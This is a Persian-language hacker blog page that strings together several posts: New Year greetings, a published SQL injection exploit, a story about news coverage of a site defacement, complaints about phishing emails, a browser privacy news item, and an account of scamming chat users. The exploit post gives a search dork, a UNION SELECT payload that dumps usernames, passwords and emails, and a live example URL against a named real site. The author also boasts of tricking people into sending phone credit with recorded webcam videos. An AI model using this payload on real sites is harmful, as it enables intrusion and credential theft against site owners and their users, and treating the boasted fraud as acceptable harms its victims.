جایی داره اینجا از دوستان و بازدید کنندگان که ما را یاری کردن تا به اینجا .تشکر کنم که اگه بخواهم اسم و نام ببرم باید تا فردا صبح فقط باید اسم نام ببرم
بعد هم یکی میگه اسم من را گفتی .. یکی میگه نگفتی.. پس بهتره بگم تشکر از همه ای دوستان و اشنایان…

انشالاه امسال سال خوبی برای همه ای دوستان و اشنایان و همه ای ایرانی های عزیز باشه
سعی میکنم امسال هم با خبر های خوب به استقبالتون بیام

خداوندا تقدیر دوستان را در سال آینده به گونه ای قرار بده که در پایان سال

از گذشته خود افسوس نخورند . . .

سال جدید مبارک ” مدیریت سایت انتی نتورک”

اکسپلویتش کردم و رپورتش کردم

برای دوستان هم میزارم

sql injection هست

لینک این اکسپلویت

http://packetstormsecurity.org/files/111166/laoy8-xss.txt

اینم یک اکسپلویت دیگه
##############################
# Exploit Title: Content-Management-System Remote SQL Injection (news.php)
# Script Page : http://tim-hendriks.com
# Date: 24-3-2012
# Version: Version 2.1
# Author : Ali.Erroor
# Tested on: Firefox 8.0, Palemoon 8.0, Internet Explorer 9
# Mail: ali.erroor@att.net
# Web Site : www.anti-network.net
#############################

## Injection Point : /news.php?id=-9 [ SQL ]

## Dork: intext:”Powered by Content-Management-System ” © Tim Hendriks 2008 ” + inurl:news.php?id=

## Exploit Code: /news.php?id=-9 union select 1,2,3,4,group_concat(username,0x3a,pass,0x3a,email))from cms_users–

## Example: http://www.boom-trikes.de/news.php?id=-9 union select 1,2,3,4,group_concat(username,0x3a,pass,0x3a,email))from cms_users–

## Login Admin Panel : http://server/cms/

#############################

## Greets To :

BARBOD And all of your friends

THANKS TO ALL Iranian HackerZ ./Persian Gulf

لینک پروژه ای اول مهر من بازتاب گشترده ای در رسانه ها و روزنامه ها داشت

بعد از باز تاب این خبر که لینک این بازتاب و مساحبه ای من با پایگاه “شیعه انلاین” را میتونید از این لینک ببینید

http://www.anti-network.net/archives/35

بعد از گذشت مدتی متوجه شدم این پروژه ای طنز پاش به سایت وب گردی اخبار ۲۰:۳۰ شبکه ای ۲ سیما م باز شده

رفتم اخبارش را خوندم و کلی تعجب کردم !!! دیدم نوشته شده که :

به نقل از سایت وب گردی اخبار ۲۰:۳۰ :
بیانیه مهم گروه سلطنت طلب عقاب ! + عکس
گروه سلطنت طلب عقاب به لیدری مهدی روحانی قرار بود امروز اول مهر به تهران بیاید تا به اصطلاح خودش اقدامی برادازانه کند ولی ساعتی پیش که از وی خبری نشد سایت رسمی این گروهک یک نفره این بیانیه جالب را منتشر کرد

گفته می شود سایت یاد شده (سایت رسمی گروه عقاب به لیدری تیمسار!!؟ روحانی )توسط یک نوجوان ۱۲ ساله اصفهانی برای سرگرمی هک شده است.

حالا یک سوال ؟ : من کی ۱۲ سالم بوده که خودم خبر نداشتم ؟!!!
البته این مورد را من گزارش دادم
یک بار دیگه هم یک جا همین اشتباه پیش امده بود..
امیدوارم از این اشتباه ها دیگه نیافته
البته یک کلیپ هم توی لینک زیر هست که من خودم کلی خندیدم

پیشنهاد میکنم حتما ببینید…
لینک این خبر از خود سایت وب گردی

http://www.webgardi2030.ir/fa/news/4301

عکسی از صفحه:

تصویر بالا میگه که پسورد شما مشکل داره و به ۱۲۳۴۵۶ تغییر بدید
منم ایمیل زدم به یارو که عوض کردم به loool …!!
داستان این ایمیل از این قراره که طرف به من یک فیک میل از ادمین گوگل زده که پسوردت را به این تعییر بده تا مشکی پیش نیاد
و به نظر خودش فکر میکنه که من الان اینقدر مثل خودش خر تشریف دارم که بیام یک همچین خریتی بکنم و طرف بره با خیال راحت پسورد ما را عوض کنه

البطه من موندم ان احمقی که این را فرستاده نفهمیده بایا من خودم این درس ها را به ملت دادم
یعنی من خودم از همچین روشی ایدیم میخوره !!؟!
پا ورقی : من میوندم ان اقا خره که این را میفرسته یکم به مغز کوچیکش این را در نظر نمیگیره که admin@google چه ربطی به اکانت من که @att.net هست داره ؟!!
اگه روزی فهمیدم این طرف کی هست حتما ازش میپرسم مال کدوم شهر هست که از این به بعد نگم خر را از قبرس میارن ! بگم از شهر همون اقای که این را فرستاده میارن!
حتی نمونه های دیگه ای هر روز به دست من میرسه مثل این یکی در تصویر زیر که ازمون خواهش کرده که با دستهای نا قابل خودمون یوسر و پسورد ایدیمون را نثار روح پدر و …. بکنیم

البطه از این ایمیل ها به صورت زیادی هر روز واسه ای من ارسال میشه که اگه بخوام به همشون اشاره کنم پست به جاهای انحرافی کشیده میشه

امیدوارم از این مطالب چیزی یاد بگیرید ( انهایی که سر رشته ندارن از این چیزا )
و اینکه ان اقا خره هم که این ها را برای من ارسال میکنه بهش میگم : رو را برم ! سنگه پا قزوینه !!

“دین هاچموییچ” معاون اول واحد مرورگر شرکت مایکروسافت با تایید این خبر گفته است: «ما به تازگی پی برده ایم که گوگل تنظیمات حریم شخصی سفری را دست‌کاری کرده است. بعد به فکر افتادیم که ممکن است گوگل این کار را در مورد تنظمیات حریم شخصی مرورگر اینترنتی “Internet Explorer” هم انجام داده باشد.»

وی می افزاید: «بعد از مدتی بررسی متوجه شدیم که این خبر درست است و گوگل از روش های مشابهی برای دستکاری تنظیمات پیش فرض حریم شخصی در Internet Explorer و دستکاری کوکی های این مرورگر و بررسی آن ها استفاده کرده است.»

بر اساس بررسی های مایکروسافت گوگل به طور گسترده از کوکی های Internet Explorer برای بررسی عملکرد کاربران این مرورگر سوءاستفاده کرده است. این شرکت برای متوقف کردن سوءاستفاده های گوگل تنظیمات IE9 را به روز کرده است.

وب رکورد شده ای از دختر ها که زیاد هست توی اینترنت دانلود میکردیم و با یک ایدی دخترانه میرفتیم توی روم ها و میگفتیم شارژ بده تا بهت وب بدم
پسر های زرنگ هم زودی شارژ میدادن و کلی کیف میکردن از وب رکورد شده و فکر میکردن ما دختریم !

خلاصه ………. امروز یک چیزه جالب دیدم خواستم راجبش یک مطلبی بنویسم

شاید بعضی از پسر ها با دیدن این پیام به فکر زدن مخ یا شاید دلشون بسوزه واسه کسی که این پیام را فرستاده و یک شارژ بدن به کسی که این پیام را فرستاده…

تصویر :

اما قضیه از این قراره که طرف میاد و سعی میکنه با گفتن این حرف ها یک شارژ از کسی کش بره..
والا این چه زندانی هست که توش موبایل و اینترنت و کامپیوتر وجود داره و مهمتر از همه این اینترنت یا از موبایل هست یا از خط تلفن ! بعد یعنی اینقدر سخت هست زدن یک زنگ به پلیس ؟!!
این واقعا تهش بود !! اخر دروغ بود ! اما نکته ای جالبش اینجاست که بعضی ها گول میخورند…
ادم واقعا باید احمق باشه که گول همچین افرادی را بخوره !
چون دیدم این پیام به صورت گسترده توی اینترنت موجب این شده که بعضی ها مردم را سر کیسه میکنن تصمیم گرفتم این مطلب را بنویسم
در مطالب بعدی بیشتر راجب این موضوعات بحث میکنم

پا ورقی :
چقدرم که کسی نمیدونه زنگ زدن به پلیس ۱۱۰ رایگانه !!!
و اینکه من نمیدونم طرف شارژ داره به شما این اس ام اس را یا از طریق اینترنت و یا موبایل این پیام را بده ! اما نمیتونه یک زنگ را به پلیس بزنه !!
این ها هم یک جور روش های مهندسی اجتماعی حساب میشن..!

این اسکریپت که توسط هکر های ترک نوشته شده و شبیه zone-h هست

تصویری از نمایی  این اسکریپت